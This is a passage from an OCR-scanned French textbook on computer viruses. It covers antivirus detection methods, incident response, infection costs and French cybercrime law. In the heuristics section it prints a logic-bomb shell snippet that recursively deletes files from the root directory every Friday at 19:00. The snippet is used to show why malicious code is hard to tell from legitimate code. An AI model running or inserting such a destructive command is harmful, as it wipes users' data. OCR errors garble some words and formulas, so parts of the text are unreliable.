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phisme par reccriturc du code, le virus pourra la remplacer par l'instruction MOV AX, 0, moins frequemment utilisee par le compilateur. Pour un type de compilateur, le spectre est constitue d'une liste d'instructions (Ii)l~i~N, chacune d'entre elles etant accompagnee d'une frequence theorique d'apparition tu, caracterisant son occurrence dans des programmes « normaux », generes par le compilateur considere, Lors de l'analyse d'un programme, pour chacune de ces instructions, l'effectif observe o, est alors calcule. Si N intructions composent le spectre, l'estimateur



est calcule. Si la valeur de cet estimateur depassc un certain seuil (seuil de decision), pour un risque d'erreur fixe, l'infection est alors suspectoc". Pour resumer, le spectre d'un virus differe de manierc significative de celui d'un programme « normal» mais la notion de « norrnalite » est, encore une fois, tres relative. Elle repose sur une modelisation statistique de la frequence des instructions et sur un comportement en moyenne des compilateurs. Le processus de decision (infection ou non) est donc base sur un ou plusieurs tests statistiques'' (generalement, tests unilateraux du X 2 ) , auxquels sont donc attachees des probabilites d'erreur de premiere et seconde espece". Ceci explique pourquoi cette technique provoque davantage de fausses alertes. En revanche, elle permet parfois de detecter certains virus inconnus - utilisant des techniques connues le plus souvent. II faut preciser que la detection, par analyse spectrale, de codes viraux chiffres ou compresses, devient delicate de nos jours, beaucoup d'executables commerciaux implementant de tels mecanismcs pour lutter contre le desassemblage. 7



8



9



Nous ne donnons ici qu'une description tres succincte du test, appele test du X 2 . Le lecteur pourra consulter, pour plus de details [75, chap 16]. A noter que les instructions peuvent etre groupees par classes, definies selon certains criteres, Le calcul de l'estimateur considere alors les effectifs theoriques et observes de chaque classe. Les instructions du spectre peuvent etre ou non regroupees en classes, selon differents regroupements possibles; il est egalement intcressant de considerer plusieurs spectres de reference. En regle generale, chaque variante donne lieu a un test. Si on formule une hypothese Jio selon laquelle le programme n'est pas infecte, l'erreur de premiere espece, notee a, consiste a rejeter Jio alors qu'elle est vraie. C'est ce que l' on denomme par fausse alarme. En revanche, si cette hypothese est conservee alors qu'en realite elle est fausse (Ie programme est infecte), il s'agit la d'une erreur dite de seconde espece (probleme de non detection), notee {3. En general, a est fixe a priori, en fonction des implications d'une eventuelle erreur tandis que la determination de {3 est, tres souvent. beaucoun nlus difficile.
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Cette technique consiste a utiliser des regles, des strategies en vue d'etudier le comportement d'un programme, chaque sequence d'instructions d'un programme pouvant representer une fonctionnalite repertoriee dans une base. Le but est de detecter des actions potentiellement virales. La difficulte de cette technique est du meme ordre que pour l'analyse spectrale (probleme de fiabilite et nombre de fausses alertes). A titre d'exemple simple, considerons le code suivant d'une charge finale virale :



if test "$(date +%a%k%M)" rm -R 1* fi



==



IFri1900"; then



Ce code efface tous les fichiers a partir de la racine du systeme de fichiers, tous les vendredis a 19: 00. Soit maintenant le code suivant, ecrit par un administrateur, pour supprimer tous les fichiers inutiles, qui occupent generalement trop de place!", et ce, egalement, tous les vendredis a 19: 00 :



if test "$(date +%a%k%M)" rm -R 1*.0 fi



==



IFri1900"; then



Comment, hors de tout contexte, est-il possible de determiner lequel de ces deux programmes est viral et lequel ne l'est pas? Cet exemple, volontairement caricatural, illustre cependant parfaitement la difficulte, dans certains cas, de determiner un comportement viral. Dans un memc ordre didcc, I'economiseur d'ecran loop sous Linux (utiliser la commande xlock -mode loop pour le lancer), qui simule l'automate autoreproducteur de Langton [158], prcsentc dans le chapitre 2, pourrait etre detecte comme un virus, en vertu du processus de duplication qu'il simule. Certains editeurs dont le logiciel antivirus agit par heuristiques pretendent generalement que leur produit ne necessite pas de mises a jour. En fait, les programmeurs de virus retrouvent tres vite, apres etude de l'antivirus, les regles et les strategies employees par ce dernier et parviennent a le leurrer. Cela oblige I'editeur a utiliser d'autres regles, ou ales affiner, et donc a mettre a jour le produit. Mais cela se fait, le plus souvent, d'une manierc discrete lors d'un passage a un niveau de version superieur. 10



Ce e:enre de code est frecuent dans des fichiers make ( section clean).
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Le conirole d 'inieqrit« Avec cette technique, c'est la modification des fichiers sensibles (executables, documents ... ) qui est surveillee. Pour chaque fichier, on calcule une empreinte numerique infalsifiable (Ie plus souvent, avec une fonction de hachage de type MD5 [194] ou SHA-1 [116] ou avec des codes de redondance cyclique [CRC]). Autrement dit, il est calculatoirement impossible de modifier en pratique un fichier, de sorte qu'un recalcul d'empreinte fournisse celle initialement produite. En cas de modification, la verification de l'empreinte est negative et une infection suspectee. Le gros probleme avec cette technique, pourtant seduisante, reside dans le fait qu'il est difficile de la mettre en pratique. II faut constituer une base d'empreintes sur une machine saine et protegee. En effet, au debut de l'utilisation du controle dintegrite, les virus modifiaient les fichiers, recalculaient l'empreinte et la substituaient a l'ancienne. II faut egalement enregistrer et maintenir toute modification « legitime ». Ces modifications peuvent provenir de la recompilation de programmes ou de modifications de documents - fichiers de type Word, fichiers sources d'un programme.... L'utilisation du chiffrement pour protcger les empreintes, in situ, peut etre cont.ournce (voir chapitre 16). L'autre probleme est qu'il est assez aise de contourner cette technique. Certaines familIes de virus (compagnons, furtifs, virus lents ... ) y parviennent aiscment soit en ne modifiant pas I'integrite des fichiers (cas des virus compagnons; voir chapitre 9), soit en simulant une modification, legitime, des fichiers par le systeme (cas des virus furtifs et des virus de code source presentes en detail dans la section 5.4.5), par l'utilisateur (cas des virus lents) ou par les antivirus cux-memcs (cas des virus rapides). Les principaux defauts des logiciels antivirus qui utilisent le controle d'integrite sont les suivants : - les fonctions d'integrite utilisees n'offrent pas de securite suffisante. Elles se limitent, le plus souvent, a un simple controle de parite (checksum) ou a un code de redondance cyclique, dans un souci, encore une fois, de rapidite, Or des fonctions plus evoluees (les fonctions de hachage par exemple) sont en comparaison plus « lentes »; certaines d'entre elles, egalement, n'offrent plus le niveau de securite souhaite (MD5 par exemple, voir [223]) ; - I'integrite ne prend en compte que le fichier lui-meme et exclut les structures associecs du systeme de fichiers (voir pour plus de details l'introduction du chapitre 9). Cela s'explique par la complexite toujours croissante des svstemes d'exnloitation eranhicmes. Pour ces svstemes. le
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taux de variabilite des fichiers, notamment ceux attaches au systeme luimeme (base de registre de Windows, fichiers de configuration, fichiers temporaires ... ) rend cette prise en compte impossible en pratique. Le probleme est identique dans les environnements de type Unix, OU les fichiers de configuration sont susceptibles d'etre modifies frequemment. Le nombre de fausses alarmes peut etre egalement eleve, Enfin, l'infection est detectee mais trop tard puisque c'est le resultat d'une infection qui est const.ate.



Techniques antivirales dynamiques Deux techniques principales existent. La surveillance comportementale L'antivirus est resident en memoirc et tente de detecter tout comportement suspect (la definition d'un tel comportement se faisant par rapport a une base de comportements viraux) et le bloquer si necessaire : tentatives d'ouvertures en lecture/ecriture de fichiers executables, ecriturc sur des secteurs systemes (partition ou demarrage), tentative de mise en resident, etc. Techniquement, l'antivirus agit par detournement d'interruptions (le plus souvent, les interruptions 13H et 21H) ou d'API. Cette technique permet de detecter quelquefois des virus inconnus (utilisant cependant des techniques connues) et de lutter avant l'infection. Toutefois, certaines techniques virales y echappent. De plus, l'antivirus doit etre en mode dynamique, ce qui ralentit, quelquefois sensiblement, le travail. Les fausses alarmes sont relativement nombreuses. Notons que l'analyse de l'antivirus permet de connaitre la base de comportements et tout le jeu du programmeur de virus consistera a utiliser cette connaissance pour mieux contourner la protection [106,141-143]. L 'emulation de code Cette technique permet de disposer de la surveillance de comportement en mode statique, ce qui est assez utile car beaucoup d'utilisateurs impatients preferent ce mode pourtant dangereux. Lors du scan, le code etudie est charge dans une zone memoire confinee, puis est emule afin de detecter un comportement potentiellement viral. L'emulation de code est particulierement adaptee a la lutte contre les virus polymorphes. Cette technique souffre toutefois des memes limitations aue son homolozue dvnamiaue.
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6.2.2 Le cout d'une attaque virale Le cout d'une attaque virale n'est jamais chose evidcntc a evaluer. Outre les inevitables intcrets divers et varies qui tendent a fausser les evaluations, obtenir une estimation rigoureuse suppose de connaitrc precisement le nombre reel de machines infectees et ayant vraiment fait l'objet d'une desinfection specifique. Ce nombre n'est jamais connu avec precision, pour la simple raison que beaucoup de societe» et./ou d'administrations tendent a passer sous silence ou a minimiser les effets d'une attaque virale. Aussi les differentes evaluations, pour celles generalement considerees comme serieuses, constituent elles plutot une borne inferieure du cout reel d'une attaque. II est possible d'affirmer que le cout d'une attaque par virus est de loin inferieur a celIe d'une attaque par ver et ce, du fait de la nature memc de ces infections informatiques et de leur mode d'action respectif. Afin que le lecteur se fasse une idee un peu plus precise de la facon dont la plupart des evaluations sont faites, nous donnerons ici un des modes de calcul les plus frequemment utilises!". Le cout est cstime en considerant les donnees suivantes, pour une attaque : - temps moyen td de desinfection manuelle d'une machine: 60 minutes; - cout horaire moyen d'un technicien Ct (personne realisant la desinfection) : environ 12 euros; - cout horaire moyen d'un employe Ce (personne dont la machine est indisponible pendant I'operation de desinfection) : 12 euros; - cout moyen de perte de productivite par heure Pp (sous I'hypothese qu'aucune donnee n'a ete corrompue ou perdue du fait de l'attaque) : estimee a 120 euros. La formule generale alors utilisee pour evaluer le cout total CT d'une attaque, est, si Ninfectees represente le nombre de machines infectees :



CT



== Ninfectees x (Ct



+ Ce + pp).



Au-dela des chiffres qui peuvent donner lieu a discussion - chiffres qui dependent plus ou moins fortement du type de socictes et du pays - c'est la methode de calcul qui est interessante et qui est generalement reprise par les differents organismes realisant ce type d'evaluation. II est dommage que les compagnies d'assurance ne communiquent pas leur propres methodes de calcul, qui, sans aucun doute, doivent etre relativement precises, 11



Ce ealeul est donne par Keith Peer. Nous reproduisons les ehiffres originaux, eonvertis en euros. Le leeteur eonsultera le lien suivant pour plus de details: www. desktoplinux. com/articles/AT3307459975.html.
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6.2.3 Les regles dhygiene informatique Le point essentiel, qu'il ne faut jamais oublier, est qu'un antivirus, comme un pare-feu, n'est pas une protection absolue. Le grand « jeu » des programmeurs de virus et de vers est precisement de repandre des virus permettant de contourner les logiciels antivirus. Cela signifie que fonder sa lutte antivirale sur la seule utilisation d'un ou plusieurs antivirus est illusoire. II est donc necessaire de mettre en ceuvre, en amont des logiciels de securite (antivirus et pare-feux) des regles que l'on peut qualifier de regles d' hygiene informatique. - Mise en place d'une veritable politique de securite, dans laquelle la lutte antivirale a ete clairement definie et precisee. La menace virale ne peut, en effet, etre isolee des autres aspects de la securite informatique. Cette politique doit etre regnlierement controlee (audits) pour la faire evoluer, si necessaire. Rappelons qu'il n'existe pas de « nirvana securitairc » ni de solutions eternelles. Les attaques evoluent, la defense doit faire de memo. Cela implique qu'une veritable politique de veille technologique soit mise en place et appliquee (voir section 6.2.5). - Controles des individus. II faut avoir conscience du fait que dans une politique de securite, l'utilisateur est I'element limitant, le maillon le plus faible du systeme. II faut donc en controler les compctenccs et la formation - probleme de l'atteinte au systeme a la suite d'erreurs dans le cas des virus psychologiques par exemple. II faut egalement controler les comportements volontaires. II s'agit la d'un probleme de securite en matiere de personnel. Cela inclut, dans le cas d'entreprises sensibles, les procedures d'habilitation, en liaison avec la Direction de la Protection et de la Securitc de la Defense. II est vital egalement de prevenir les comportements inconsequents (problems de l'introduction, non malveillante, de logiciels parasites). La formation et la sensibilisation des utilisateurs, regulieres, sont incontournables. - Controle des contenus. Le responsable de la securite du systeme doit etablir des regles precises dans ce domaine, les mettre en oeuvre et les controler regulierement. L'utilisateur ne doit pas pouvoir installer de manierc incontrolee tout et n'importe quoi sur sa machine (economiseurs, animations flash humoristiques ou cartes de VCBUX electroniques echangees sur le reseau interne en provenance d'Internet, jeux... ). Ces logiciels, qui n'ont rien a y faire, ou qui sont installes sans autorisation, sont autant de risques potentiellement viraux, qu'un antivirus ne detectera pas toujours (experiences a l'appui). Dans une entreprise ou une administration. un ordinateur doit rester exclusivement un instrument
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de travail. II ne faut pas oublier de controler des licences des logiciels professionnels. Une copie illegale d'un logiciel - cas malheureusement trop frequent, en particulier pour des copies achetees a tres bas prix dans certains pays - peut contenir un virus. - Choix des logiciels. II est desormais clair que beaucoup de logiciels commerciaux, du fait de leurs nombreuses failles et vulnerabilites, n'offrent plus une garantie de securite suffisante. La grande offensive des vers du deuxieme semestre 2001, et plus recemment celIe daout 2003 (notamment avec W32/Lovsan) est a ce titre edifiante, Ces attaques repetees ont incite de grands acteurs du monde informatique (IBM ou SUN par exemple) ou des Etats (Ie gouvernement allemand, la Chine, la Coree, le J apon... ) a se tourner vers des solutions offrant de reelles garanties, et en premier lieu, vers le monde du logiciellibre (mais pas uniquement !). Decoulant du choix des logiciels, celui des formats de documents est egalement crucial. L'usage des formats RTF ou CSV est de loin preferable aux formats, respectivement DOC et XLS. Le risque de presence de macros infectees est supprime. Concernant les autres formats, le lecteur consultera [153]. - Diverses mesures procedurales, inherentes a l'environnement considere, Les plus courantes sont : la configuration adequate des sequences de demarrage au niveau du BIOS, la limitation ou l'interdiction de I'exocution ou de l'installation des programmes executables par les utilisateurs (hors controles de l'administrateur), la gestion des peripheriques amovibles (comme les peripheriques USB), la gestion des ordinateurs mobiles, la sauvegarde reguliere des donnees, le controle dacces physique aux machines les plus sensibles, l'isolation des reseaux internes vis-a-vis d'Internet, en particulier les plus sensibles, la notarisation des connexions, le cloisonnement au sein de l'architecture reseau, la gestion centralisee des alertes virales (utile contre les virus psychologiques) .... Ce sont autant de mesures qui vont permettre de limiter soit le risque d'infection soit les degats en cas d'infection. Le lecteur pourra consulter [137] pour une presentation detaillee des procedures preventives a appliquer. D'une manierc generale, et ainsi que le conseille la reglementation [190], toutes ces regles doivent etre rassemblees dans un document, appele charte informatique, et que tout utilisateur doit lire, approuver et signer avant de se voir attribuer des res sources informatiques. Le lecteur pourra consulter [121] a titre de complement. Cet article presente en detail une nolitioue antivirale dans un oruanisme de la Defense.



194



La lutte antivirale



II peut constituer une base solide de rcflexion. L'Etat francais a publie un document [190] concernant la securite informatique, dont la lecture est egalement conseillee. Ce document est present sur le CDROM accompagnant cet ouvrage.



6.2.4 Conduite



a tenir en



cas d'infection



Nous abordons a present le cas OU le systeme est victime d'une infection informatique. Nous supposons que ce systeme est equipe d'un antivirus et d'un pare-feu. Quelles actions doivent etre menees ? Tout va dependre de la reaction ou non des logiciels de protection (antivirus ou autre). Autrement dit, l'attaque est-elle identifiee ou non? Dans ce dernier cas, la decouverte d'une attaque par infection informatique est generalement le fait d'une action offensive (la charge finale) et la situation est alors, en general, plus grave, mais heureusement beaucoup moins frequente, Les actions a mener peuvent se resumer aux mesures suivantes, en ne considerant que celles generiques. Chaque environnement informatique possede des caracteristiques et des contraintes propres qui ne peuvent etre toutes envisagees ici. L'application des mesures presentees ci-apres permet deja de parer a l'essentiel. II est egalement possible que la nature de l'infection, en particulier si elle est destructrice, ne permette pas d'appliquer tout ou partie de ces mesures. Insistons sur la necessite d'un compte rendu immediat aupres de l'administrateur du systeme, voire de l'officier de securite informatique. II est navrant de constater que trop d'utilisateurs n'ont pas ce rcflexc, mettant ainsi un peu plus le systeme en peril.



Cas d 'une infection detectee L'antivirus (ou le pare-feu dans le cas d'un cheval de Troie) a detecte une infection. Rappelons qu'il peut s'agir d'une erreur, plus ou moins frequente, selon le type de fichier incrimine (donnees compresscos par exemple) ou le type d'antivirus. Les principales mesures a appliquer sont enoncees ci-dessous. 1. Isoler du reseau la ou les machines incriminces. II est necessaire de lutter contre la propagation de l'infection, possible en particulier si l'antivirus n'a pas ete capable, situation de plus en plus frequente, deradiquer l'infection. Dans certains cas, cela peut se limiter a la fermeture d'un ou plusieurs ports (port 135 pour le ver Blaster, par exemple) mais cela necessite de connaitre avec certitude et nrecision la nature de l'infection.
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2. Sauvegarder des donnees qui ne l'auraient pas encore ete. II vaut mieux sauvegarder des donnees infectees que de les perdre. En revanche, leur reutilisation necessitera de les desinfecter auparavant. II est egalement important de sauvegarder les fichiers de log presents sur le serveur. 3. Sauvegarder les fichiers infectes. II est conseille, a ce propos, de choisir, comme action par defaut de l'antivirus, celIe qui permet de toujours conserver au minimum une copie de l'infection, sous forme desactivee (renommage, mise en quarantaine). Le but est de pouvoir analyser ou faire analyser la menace. Cela permet, de plus, de disposer d'un element de preuves, notamment si des poursuites sont entamees. L'assureur de risques informatiques peut egalement souhaiter en disposer. Rappelons que la veritable nature de l'infection, au-dela de ce qu'affirme votre antivirus, ne sera revelee que par l'analyse du code et uniquement par elle. 4. Passer l'antivirus en mode eradication et laisser l'antivirus agir. Eteindre la machine et repasser l'antivirus dans ce mode. En general, si une eradication complete a ete possible, la machine est saine. Toutefois, il se peut que l'infection soit tellement retorse qu'un mecanisme de temporisation intervienne pour une cvcntuellc reinfection. Deux attitudes sont alors possibles: - formatage bas niveau des disques durs (secteurs de demurrage compris) et reinstallation du systeme. Si cette solution est concevable pour une machine client, elle l'est beaucoup moins pour un serveur. Dans certains cas (systemes sensibles), il se peut qu'aucune autre solution ne soit possible; - consultation d'un ou plusieurs sites antivirus et des pages consacrees a l'infection en question (ne pas hesiter a recouper l'information en passant par plusieurs sites). Ceneralement, si l'infection est elaboree, un utilitaire specifique est disponible, qui permettra une eradication efficace. II est egalement utile de prendre connaissance des eventuelles mesures post-infection et post-eradication. 5. Appliquer les mesures post-infection et post-eradication. Celles-ci vont dependre de la nature de l'infection. Mais en general, il est conseille d'imposer le changement de tous les mots de passe, surtout si l'attaque est le fait d'un ver. Le risque de leur compromission par une evasion sur le reseau n'est jamais a negliger. Ceneralement, il est egalement necessaire d'appliquer des correctifs de securite pour certains logiciels, dont les failles logicielles ont permis et facilite l'infection par le code malveillant. Dans ce dernier cas, il est indispensable de proceder de memc Dour les imaaes du svsteme (encore annelees Ghosts). La reinstallation
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d'une image, elle-meme non corrigee, reintroduira la ou les failles et le systeme sera alors de nouveau vulnerable. La meilleure procedure est encore de refaire une image complete du ou des systemes apres l'attaque et la mise a jour de l'environnement logiciel. 6. Les acteurs de la securite informatique (administrateur et officier de securite) doivent proceder a une reevaluation, memc succincte, de la politique, des procedures et des outils de securite pour determiner le point faible ayant permis cette infection. 7. En cas d'attaque avcrce (action malveillante identifiee), il est necessaire de porter plainte. Insistons sur ce point. 11 s'agit a la fois d'un acte civique et d'une necessite. Les services de police ou de gendarmerie ne peuvent agir que sur depot de plainte. L'identification du responsable de l'attaque ne sera possible, le plus souvent, que si une telle action a lieu. Cela peut permettre a terme et dans certains cas depargner d'autres victimes potentielles.



Cas d 'une infection non detectee Dans cette situation, l'antivirus et/ou le pare-feu n'ont pas reagi mais des phenomemes resultant d'une action offensive (charge finale ou effet de saturation) trahissent la presence potentielle d'une infection. Ce cas, plus rare, est plus grave. Seul l'administrateur, avec eventuellement une aide exterieure, peut agir, ayant la main sur tout le systeme. 1. Isoler (deconnecter) le systeme de I'exterieur (Internet ou autres LANs). Isoler egalement les machines infectees des autres. Une attention toute particuliere doit etre portce aux serveurs de donnees qui doivent etre arretes. Le but est, d'une part, d'arreter le processus infectieux, d'autre part, d'interdire l'action d'une eventuelle charge finale, non encore declenchee. 2. Sauvegarder toutes les donnees qui ne le seraient pas encore. La encore, il vaut mieux sauvegarder des donnees infectees que de risquer de les perdre totalement. Une fois mis a jour, l'antivirus pourra proceder a la desinfection des donnees infectees sauvegardees. 3. Analyser le systeme en detail. La, malheureusement, dans la mesure OU les logiciels censes agir ont ete mis en defaut, la tache est ardue et seule Fexperience de l'administrateur et de son equipe va faire la difference. Une bonne solution est de conserver une imaae du svsteme. actualisee
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regnlierement., en archive 12 . L'analyse, en utilisant cette image, permettra de reperer les fichiers ayant subi des modifications. Dans un premier temps, sont elimines les fichiers qui ont ete modifies mais qui ne peuvent cependant etre incriminesl', par exemple en raison de leur format [153]. Ensuite, il sera possible peu a peu d'identifier le ou les fichiers infectes ou participant de l'infection (fichiers surnumcraircs dans le cas de virus compagnons par exemple). Ces fichiers doivent etre imperativement sauvegardes et transmis aux services de police ou de gendarmerie (avec depot de plainte). II est egalement indispensable de faire parvenir cette copie du fichier infecte a un organisme d'alerte ou de veille (type CLUSIF). 4. La suppression de ces fichiers, ou leur restauration a partir de sauvegardes snres, permettra alors de redemarrer la machine, sans cependant la connecter au reseau. Unc periode de quarantaine est fortement conseillee, en l'absence de retours sur la nature reelle de l'infection. 5. Tout le reste sera dicte par les elements fournis par l'identification et l'analyse de l'infection : mesures post-infection et autres. A partir de ce moment-la, nous retombons dans la situation precedemment traitee.



6.2.5 Conclusion Le risque infectieux informatique est bien reel et represente l'une des plus grandes menaces de demain; toutefois il convient de le considerer non plus isolement mais dans la perspective plus large de la securite des rcseaux, des applicatifs, des protocoles... En d'autres termes, la lutte contre le risque viral ne peut se faire sans : - une veille technologique de tous les instants. La decouverte periodique de failles, exploitables par des programmes infectieux, et la publication des correctifs correspondants doivent etre connues du responsable de la securite informatique de l'entreprise ; - une permanence des fonctions d'administrateur (systemes et reseaux) et d'officier de securite. En 2001, les vers Codered , et en 2003 les vers Sobig-F et Blaster/Lovsan ont frappe durant l'ete. Ce n'est pas un hasard, cette periode connait generalement un relachement (faute de personnel) de ces deux fonctions. 12



13



II peut s'agir de stocker une empreinte numerique obtenue a l'aide d'une fonction de hachage pour chaque fichier present sur le systeme. Mais dans ce cas, il n'est possible que de detecter les effets et non la cause. II convient d'etre prudent a ce sujet-Ia, notamment si l'on considere la technique d'infection nresentee dans le chanitre 16.
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Donnons trois chiffres edifiants : la vulnerahlite des serveurs web lIS, qui a permis au ver Codered de se propager [87], ainsi que son correctif, avaient ete publies un mois avant l'attaque du ver; pres de 400 000 serveurs dans le monde ont ete infectes. La vulnerabilite utilisee par le ver Sapphire/Slammer (janvier 2003) [39] et son correctif et.aient disponibles six mois avant l'apparition du ver : malgre cela, 200 000 serveurs ont ete infectes dans le monde. Enfin, le ver Fortnight.F14 , qui est apparu en juin 2003, infectant un grand nombre de machines, utilise une vulnerabilite d'Outlook, detectee (et corrigee par Microsoft) trois ans auparavant. Un exemple de politique de veille technologique est decrite dans [34]. L'inscription a des listes de diffusion d'editeurs d'antivirus et la consultation de sites (par exemple [181]), publiant en temps reel les alertes concernant les dernieres vulnerabilites detectees, sont autant de demarches incontournables dans une lutte antivirale efficace.



6.3 Aspects juridiques de la virologie informatique Nous conclurons ce chapitre en dressant un bref resume des aspects juridiques de la virologie informatique. II est, en effet, indispensable de rappeler que si ce livre traite de manierc detaillee des virus, de la facon de les programmer, de leur mode intime de fonctionnement, son but n'est, en aucune maniere, de favoriser leur utilisation. Nous condamnons par avance toute utilisation a des fins nuisibles et malhonnetes, Ce livre se veut avant tout un outil didactique, a destination de lecteurs murs et responsables, permettant de mieux comprendre un certain nombre de techniques ainsi que les enjeux qui en decoulent. Mais surtout, il s'agit de faire partager au lecteur un plaisir avant tout intellectuel. Enseigner la chimie, en particulier les mecanismcs de nitratation de composes organiques!" , ne signifie pas que les eleves soient autorises a fabriquer des explosifs. II en est de memc pour la virologie informatique.



6.3.1 La situation actuelle Un rappel des elements de droit applicables a une utilisation frauduleuse de la virologie informatique nous a paru indispensable. Nous nous limiterons 14



15



Cette version du ver utilise les applets Java et Javascript pour se repandre via le courrier electronique, lorsqu'il est configure pour accepter le format HTML. Pour plus de details, consulter le site de I'editeur Sophos. Ces mecanismes nermettent de fabriauer des exnlosifs.
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au droit francais. Nous avons pris comme base les articles de T. Devergranne [66,67], dont la lecture est vivement conseillee, Precisons toutefois, notamment pour les lecteurs francophones non francais, que la plupart des pays possedent une legislation similaire a celle de la France. Avant toute experience dans ce domaine, nous leur conseillons vivement de se documenter et de prendre connaissance de la loi nationale en vigueur. Enfin, une presentation des aspects juridiques de la cybercrirninalite, notamment dans le cadre europeen, est disponible dans [43,44]. Bien que les virus soient avant tout des programmes informatiques, ces derniers possedent des fonctions particulieres et certainement loin d'etre anodines. Face a la diversite des infections informatiques, chacune possedant des caracteristiques propres et un mode de fonctionnement specifique, le juriste retient, Quant a lui, la notion unique de programmes indesirablcs, transmis ou introduits contre la volonte de l'utilisateur ou du maitre du systeme. La transmission d'une infection informatique cachee, via un programme anodin (jeu, applicatif. ..), accepte consciemment par l'utilisateur, est assimilable au fait d'aller contre sa volonte (l'utilisateur n'est conscient que du programme et non pas de l'infection). II n'existe pas de loi specifique concernant les infections informatiques. Ces dernieres rentrent dans le cadre, tres general, de la loi sur la securite informatique (ancienne loi Godfrain) : article 323 du Code penal. Les principaux cas sont les suivants : - Acces frauduleux au susieme par infection informatique.- L'infection a ici pour but de permettre un acces frauduleux (entendons, sans autorisation) dans le systeme. C'est le cas des chevaux de Troie, des leurres ou de virus/vets installant des fonctionnalites dacces caches (par exemple le ver Codered). L'article 323-1 du code penal s'applique alors : Art 323-1 c. pen. : le fait d'acceder ou de se maintenir, frauduleusement, dans tout ou partie, d 'un susteme de traitement auiomaiie« de donnees est puni d'un an d'emprisonnement et de 15 000 euros d'amende. Lorsqu'il en est result« soit la suppression ou la modification de donnees contenues dans le susteme, soit une alteration du fonctionnement de ce susteme, la peine est de deux ans d'emprisonnement et de 30 000 euros d'amende.



L'acces doit etre frauduleux et volontaire (il ne resulte pas d'une action inconsciente) . - Atteinte frauduleuse au systeme.- Une infection informatique est introduite volontairement au sein du svsteme. a l'insu de son resnonsable
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La lutte antivirale et /ou proprietaire, dans le but de porter atteinte a son fonctionnement normal et regulier. Sont conccrnces, entre autres exemples, les attaques par saturation effectuees par I'intermediaire d'un ver (cas du ver Codered1 [87]), un macro-virus comme COLORS modifiant le paramctrage de Windows, un virus comme CIH detruisant le BIOS de la machine [88] ou encore une bombe logique (voir lajurisprudence mcntionnec dans [67]). Dans ce cas, l'article 323-2 du Code penal s'applique. Le fait d'entraver ou de fausser le fonctionnement d'im susteme de traitement auiomatis« de donnees est puni de trois ans d 'emprisonnement et de 45 000 euros d'amende.



Dans ce cas encore, l'infraction doit etre volontaire et consciente. - Atteinte frauduleuse aux donnees.- Cette incrimination est envisagee par l'article 323-3 du Code penal. Le fait d'introduire frauduleusement des donnees dans un systeme de traitement auiomatis« ou de supprimer ou de modifier frauduleusement les donnees qii'il contient est puni de trois ans d'emprisonnement et de 45 000 euros d'amende. - Association de « malfaiteurs informatiques >1.- L'article 323-4 a pour but de lutter contre les clubs de pirates et autres acteurs contestables du monde informatique. L'entente prevue par le texte doit toutefois etre concretisee par un ou plusieurs elements materiels (par exemple confection d'un virus destine a frapper un systeme donne). La participation it un groupement forme ou it une entente eiablie en vue de la preparation, caracicrisee par un ou plusieurs faits materiels, d 'une ou de plusieurs des infractions preinies par les articles 323-1 it 323-3 est punie des peines preinies pour l'infection elle-meme ou pour l'infraction la plus seoeremeni reprimee.



L'entente commence a partir de deux personnes et concerne a la fois les personnes morales et les personnes physiques (pour plus de details voir [66]). - Repression de la tentative.- La tentative, memc avortee (un virus mal ecrit, une attaque pcrpetrcc par un novice), peut etre reprimee de la memc manierc que l'acte couronne de succes (article 323-7 du Code penal). La tentative des delit» preous par les articles 323-1 it 323-4 est punie des memes peines.



Les peines sont doublees en cas de recidive. Le lecteur notera que le legislateur s'est attache a l'esnrit avec leauel le svsteme est attaoue. La notion de
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fraude et de volonte de nuire est consideree au premier chef. Mais rappelons qu'il s'agit la de la juridiction penale. Une erreur involontaire, non maligne, portant atteinte a un systeme, pourra tres bien faire l'objet de poursuites civiles!" (au titre de la reparation des dommages). Globalement pour le domaine de la virologie informatique, I'mterpretation des differents articles indique que la creation de virus est legale. Cependant, la diffusion d'un virus a des tierces personnes, avec une intention de nuire, rentrant dans le spectre des possibilites envisagees par les precedents articles du Code penal, est passible de poursuites penales (et civiles).



6.3.2 Evolution du cadre legislatlf : la loi pour I'economie numerique



A la fois pour combler le retard francais dans ce domaine,



mais egalement pour prendre en compte certaines directives europeennes" , une evolution legislative est devenue necessaire. Un projet de loi a ete elabore au debut de 2003 (projet de loi pour la confiance en I'economie numerique}. Ce projet vise, en autres choses, a definir un nouveau type de delit lie a la manipulation de virus. II propose notamment un alourdissement des peines deja prevucs (voir section preccdentes) et l'insertion du nouvel article suivant : (Article 323-3-1) Le fait de detenir, d 'offrir, de ceder ou de mettre a disposition un equipement, un instrument, un programme informatique ou toute donnee concus ou specialemeni adapies pour commettre les faits preous par les articles 323-1 a 323-3 est puni des peines preinies respectivement pour l'infraction elle-meme ou pour l'infraction la plus seoeremeni repritnee.



Ces mesures, approuvecs en Conseil des ministres le 15 janvier 2003, visent en particulier la manipulation des virus (article 34). Sa presentation a immediatement fait rcagir, assez vivement, les milieux professionnels concernes (chercheurs, professionnels du monde viral et antiviral. ..). En effet, I'etude et la manipulation de virus a des fins professionnelles (ce livre en est un 16



17



II est assez surprenant que le legislateur n'ait pas songe egalement a protcger les utilisateurs contre les inconsequences des professionnels de l'informatique. Diffuser un logiciel comportant une vulnerabilite permettant potentiellement la dissemination d'un virus ou d'un ver devrait engager la responsabilite du concepteur, au minimum au titre de la juridiction civile. Directives 2000/31/CE du 8 juin 2000 et « Vie priuee et communication elecironique » (directive 2002/58/CE du 12 iuillet 2002).
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exemple) ne sont pas prcvues par cette proposition de loi. L'assemblee nationale a alors propose l'amendement suivant : Les dispositions du present article ne sont pas applicables lorsque la detention, l 'offre, la cession et la mise a disposition de l'instrument, du programme informatique ou toute donnee sont justifiees par les besoins de la recherche scientifique et technique ou de la protection et de la securit« des reseaux de communications electroniques et des susiemes d'information et lorsqu 'elles sont mises en teuure par des organismes publics ou priues ayant precede a une declaration preolabie aupres du Premier Ministre selon les modolites preinies par les dispositions du III de I'article 18 de la loi pour la confiance dans l'economie



numerique. Malheureusement et pour des raisons qui restent obscures aux non-juristes, le texte de cet article a ete modifie et vote en lecture definitive le 14 mai 2004 par le Senat, a l'issue de la procedure de Commission Mixte Paritaire. II est le sui vant : I. - Apres I'article 323-3 du code penal, il est inser« un article 323-3-1 ainsi rediq« :



